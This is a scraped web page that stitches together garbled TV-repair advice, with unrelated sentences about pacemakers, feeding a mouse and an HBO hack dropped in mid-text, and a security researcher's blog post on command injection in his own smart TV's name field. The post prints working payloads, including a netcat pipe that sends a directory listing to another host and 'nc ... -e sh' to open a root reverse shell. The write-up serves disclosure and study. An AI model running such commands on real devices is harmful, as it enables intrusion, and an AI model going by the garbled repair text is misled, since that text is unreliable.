Flat Screen TV Has Lines Going Through Screen Possible Bad Component How To Repair My TV We have a Samsung HDTV 5. LCD TV which is showing lines vertically and getting extremely hot. At times it powers on at only half of the brightness for a 2. I do not know what I should be looking for or how to diagnose these TV problems. Do you think that replacing the power boards would be a good place to startPacemakers ready for placement. Pacemakers made by Abbots formerly St. Jude Medical are affected, while those by Medtronic shown left are not. Photo AP The. Maybe I need to open up the TV and start to check to see if the capacitors are okay Where do I even get these TV repair replacement parts Please help. The issue could be related to a bad capacitor or capacitors. Maybe 1. 0 years ago there was a Chinese capacitor supplier company selling faulty and low quality caps. Your TV may have these. THINGS TO TRY TO FIX YOUR TV FAST Try to connect all connectors including HDMI, coax, etc, to be sure all inputs are producing same issue. Push the HDMI connector firmly into the back of the set. Be sure your actual cable is not bad and causing the issue. First Open up the TV case unplugged of course and look for a bulging or leaking capacitor. If you see any that are leaking or fat and bulging, replace them. If you find no bad caps, you could replace the complete circuit board but that may be more than the TV is worth. Some of these issues are common on Samsung, Sony, Vizio, and Toshiba. Here are some places to buy caps and circuit boards for replacement HDTV parts. Types of lines on a broken LCD TV screen. Possible Components That Could Be Bad Bad T Con Main Control Board can cause vertical lines or half of the screen is black. Horizontal lines usually indicates a defective screen not a bad t con board. Bad Power Supply Bad Capacitors, Blown Fuse, Bad rectifier This means that the TV wont turn on or shuts off randomly. TV repair Vertical lines on flat panel TVYou have to find out, are the lines vertical or horizontal Are the lines a certain color or black and white What section of the TV, do the lines show up in The top half The lower halfThe right side Or the left side. Is your screen discolored Do the lines always appear on the screen when using different inputs If you switch from HDMI 1 input to HDMI 2 input, are the lines still there Do the lines on the screen show up over the menu or behind the menu Do the lines always appear on the screen or are they intermittentQuestions and Answers from the Community. Maybe the size of mouse you are giving him is too big. Make sure the mouse is hot enough. A smart TV makes it easy to stream movies and shows, and newer models offer voice control and smart home integration. But there are some risks, too. Flat Screen TV Has Lines Going Through Screen Possible Bad Component How To Repair My TVHOW TO FIX LED TV VERTICAL LINES ON SCREENDo you have experience in fixing these types of TV issues Please leave a comment below. Initially, it appeared that the recent HBO hack was most impactful for the theft and possible leak of Game of Thrones data. The digital thieves also allegedly. Please Share Our DIY Repair Help Projects More Do It Yourself Tips, Tricks, Ideas, Repair Tagged as lcd tv has lines, my tv has lines across the top, my tv has lines going through it, samsung, sony, toshiba, tv has lines on screen, tv has lines running through it, vizio.
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If you’re worried about your smart TV getting hacked there are a few different things you can do to avoid it. When it comes to Samsung’s TVs, just don’t use the remote app and you should be. Westinghouse 4K TV (WD55UT4490) Firmware? I know, I know. Moving past that, their firmware page seems to be missing. Anyone know the best way to go about updating the firmware on one of these TV's?
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Category: Web Security Readings - Last Updated: Thu, 06 Apr 2017 - by Sven Morgenroth
It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.
Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.
After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.
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I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.
The Vulnerability in My Smart Television Set
When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.
After entering and submitting the payload from my remote, the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.
The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.
There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:
Running Commands on my Smart TV
I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.
Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.
It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.
Getting Shell Access on the Smart TV
My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.
So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.
Using Netcat on the Smart TV
I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.
As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la /|nc 169.254.56.216 5`
Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`
I Had Shell Access on the Smart TV
Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.
I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.
I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.
Your TV is Not as Smart as You Would Think
Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.
This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.
I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.
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